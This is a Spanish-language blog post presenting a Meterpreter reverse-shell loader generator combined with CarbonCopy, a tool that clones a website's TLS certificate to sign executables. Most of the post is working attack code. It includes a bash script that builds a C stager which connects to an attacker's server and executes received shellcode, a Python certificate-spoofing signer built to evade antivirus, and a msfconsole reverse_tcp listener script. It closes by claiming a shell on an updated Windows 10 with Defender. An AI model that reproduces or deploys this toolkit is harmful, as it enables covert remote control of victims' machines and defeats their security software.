Loader de Meterpreter firmado con un certificado falso

Astr0baby ha actualizado su generador/loader de meterpreter con una función para falsificar cualquier certificado de una web y firmar un ejecutable con el objetivo de evadir algunos antivirus. El concepto original es de paranoidninja que hace unos meses publicó CarbonCopy, una pequeña herramienta que lo implementaba: https://github.com/paranoidninja/CarbonCopy.

El resultado de incorporar ésto es un script que produce un archivo binario de Windows PE32 de 64 bits con la dirección del servidor del loader de meterpreter y el puerto hardcodeado dentro y, por supuesto, firmado con un certificado falsificado por un sitio web a nuestra elección (google.com por ejemplo). El binario firmado resultante no es verificado por Windows pero agrega una capa adicional de complejidad a los motores AV.

#!/bin/bash
clear
echo "****************************************************************"
echo " Automatic C source code generator - FOR METASPLOIT "
echo " Based on rsmudge metasploit-loader "
echo " Based on NinjaParanoid's CarbonCopy "
echo " "
echo " For Debian based system Ubuntu/Mint "
echo " PE32+ executable (GUI) x86-64 "
echo "****************************************************************"

# Check if we are on Debian/Ubuntu 
if [ $(which dpkg-query | grep -c "dpkg-query") -eq 0 ]; 
then echo "[-] no dpkg-query found in path, not Debian/Ubuntu based system, manually change the scipt" 
echo " This script relies on dpkg-query to check for required packages, if running on other platform" 
echo " Simply remove the section starting from #Debian-start and finishing at #Debian-end" 
echo " Make sure you manually install the dependant packages" 
echo ""
echo "- mingw-w64 "
echo "- python-openssl" 
echo "- osslsigncode" 
exit
fi

echo "[*] Checking if required software is installed " 
dpkg --get-selections mingw-w64 python-openssl osslsigncode 
if [ $(dpkg-query -W -f='${Status}' mingw-w64 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing mingw-w64 run apt-get install mingw-w64"
exit
fi
if [ $(dpkg-query -W -f='${Status}' python-openssl 2>/dev/null | grep -c "ok installed") -eq 0 ]; 
then echo "[-] Missing python-openssl run apt-get install python3-openssl"
exit
fi
if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : ' 
read ip
echo -en 'Metasploit port number : ' 
read port 
echo -en 'Impersonate Certificate https site (www.google.com): ' 
read hostname
echo '#include '> temp.c 
echo '#include ' >> temp.c 
echo '#include ' >> temp.c
echo '#include ' >> temp.c 
echo -n 'unsigned char lambert[]="' >> temp.c 
echo -n $ip >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo -n 'unsigned char omega[]="' >> temp.c 
echo -n $port >> temp.c 
echo -n '";' >> temp.c 
echo '' >> temp.c 
echo 'void winsock_init() {' >> temp.c 
echo ' WSADATA wsaData;' >> temp.c 
echo ' WORD wVersionRequested;' >> temp.c 
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c 
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp.c 
echo ' printf("bad\n"); '>> temp.c 
echo ' WSACleanup(); '>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }' >> temp.c 
echo ' }' >> temp.c 
echo ' void punt(SOCKET my_socket, char * error) {' >> temp.c 
echo ' printf("r %s\n", error);'>> temp.c 
echo ' closesocket(my_socket);'>> temp.c 
echo ' WSACleanup();'>> temp.c 
echo ' exit(1);' >> temp.c 
echo ' }' >> temp.c 
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp.c 
echo ' int tret = 0;'>> temp.c 
echo ' int nret = 0;'>>temp.c 
echo ' void * startb = buffer;'>> temp.c 
echo ' while (tret < len) {'>>temp.c 
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c 
echo ' startb += nret;'>> temp.c 
echo ' tret += nret;'>>temp.c 
echo ' if (nret == SOCKET_ERROR)'>> temp.c 
echo ' punt(my_socket, "no data");'>> temp.c 
echo ' }'>>temp.c 
echo ' return tret;'>> temp.c 
echo '}' >> temp.c 
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c 
echo ' struct hostent * target;' >> temp.c 
echo ' struct sockaddr_in sock;' >> temp.c
echo ' SOCKET my_socket;'>>temp.c 
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c 
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c 
echo ' punt(my_socket, ".");'>>temp.c 
echo ' target = gethostbyname(targetip);'>>temp.c 
echo ' if (target == NULL)'>>temp.c 
echo ' punt(my_socket, "..");'>>temp.c 
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c 
echo ' sock.sin_family = AF_INET;'>> temp.c 
echo ' sock.sin_port = htons(port);'>>temp.c 
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c 
echo ' punt(my_socket, "...");'>>temp.c 
echo ' return my_socket;'>>temp.c 
echo '}' >> temp.c 
echo 'int main(int argc, char * argv[]) {' >> temp.c 
echo ' FreeConsole();'>>temp.c 
echo ' Sleep(15);'>>temp.c 
echo ' ULONG32 size;'>>temp.c 
echo ' char * buffer;'>>temp.c 
echo ' void (*function)();'>>temp.c 
echo ' winsock_init();'>> temp.c 
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c 
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c 
echo ' if (count != 4 || size <= 0)'>>temp.c 
echo ' punt(my_socket, "error lenght\n");'>>temp.c 
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c 
echo ' if (buffer == NULL)'>>temp.c 
echo ' punt(my_socket, "error in buf\n");'>>temp.c 
echo ' buffer[0] = 0xBF;'>>temp.c 
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c 
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c 
echo ' function = (void (*)())buffer;'>>temp.c 
echo ' function();'>>temp.c 
echo ' return 0;'>>temp.c 
echo '}' >> temp.c 
echo '(+) Compiling binary ..' 
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows 
ls -la temp.c
strip payload.exe 
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run 
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

    try:
        #Fetching Details
        print("[+] Loading public key of %s in Memory..." % host)
        ogcert = ssl.get_server_certificate((host, int(port)))
        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

        certDir = r'certs'
        if not os.path.exists(certDir):
            os.makedirs(certDir)

        #Creating Fake Certificate
        CNCRT = certDir + "/" + host + ".crt"
        CNKEY = certDir + "/" + host + ".key"
        PFXFILE = certDir + "/" + host + '.pfx'

        #Creating Keygen
        k = crypto.PKey()
        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
        cert = crypto.X509()

        #Setting Cert details from loaded from the original Certificate
        print("[+] Cloning Certificate Version")
        cert.set_version(x509.get_version())
        print("[+] Cloning Certificate Serial Number")
        cert.set_serial_number(x509.get_serial_number())
        print("[+] Cloning Certificate Subject")
        cert.set_subject(x509.get_subject())
        print("[+] Cloning Certificate Issuer")
        cert.set_issuer(x509.get_issuer())
        print("[+] Cloning Certificate Registration & Expiration Dates")
        cert.set_notBefore(x509.get_notBefore())
        cert.set_notAfter(x509.get_notAfter())
        cert.set_pubkey(k)
        print("[+] Signing Keys")
        cert.sign(k, 'sha256')

        print("[+] Creating %s and %s" %(CNCRT, CNKEY))
        open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
        open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
        print("[+] Clone process completed. Creating PFX file for signing executable...")

        pfx = crypto.PKCS12Type()
        pfx.set_privatekey(k)
        pfx.set_certificate(cert)
        pfxdata = pfx.export()

        with open((PFXFILE), 'wb') as pfile:
            pfile.write(pfxdata)

        if (platform == "win32"):
            print("[+] Platform is Windows OS...")
            print("[+] Signing %s with signtool.exe..." %(signed))
            print(subprocess.check_output("copy " + signee + " " + signed, shell=True).decode())
            print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

        else:
            print("[+] Platform is Linux OS...")
            print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
            args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
            popen = subprocess.Popen(args, stdout=subprocess.PIPE)
            popen.wait()
            output = popen.stdout.read()
            print("[+] " + output.decode('utf-8'))

    except Exception as ex:
        print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
    if (len(argv) != 5):
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "    \n")
    else:
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n")
        CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
    main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe 
osslsigncode verify ./payload-signed.exe

También tenemos la parte del listener (se debe ejecutar desde donde está instalado el framework de metasploit):
#!/bin/bash

clear
echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " For Automatic Teensy programming and deployment "
echo "***************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host

echo -e "What Port Number are we gonna listen to? : \c"
read port

echo "Starting the meterpreter listener.."
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

echo -n $host >> run.listener.sh
echo -n '; set LPORT ' >> run.listener.sh
echo -n $port >> run.listener.sh
echo -n '; run"' >> run.listener.sh

chmod +x run.listener.sh
./run.listener.sh

Con el script de astr0baby podemos obtener una shell de meterpreter en la última compilación de Windows 10.0.17134.556 con un Defender actualizado.


Eso sí, si intentamos migrar el proceso, MS Defender lo eliminará inmediatamente.

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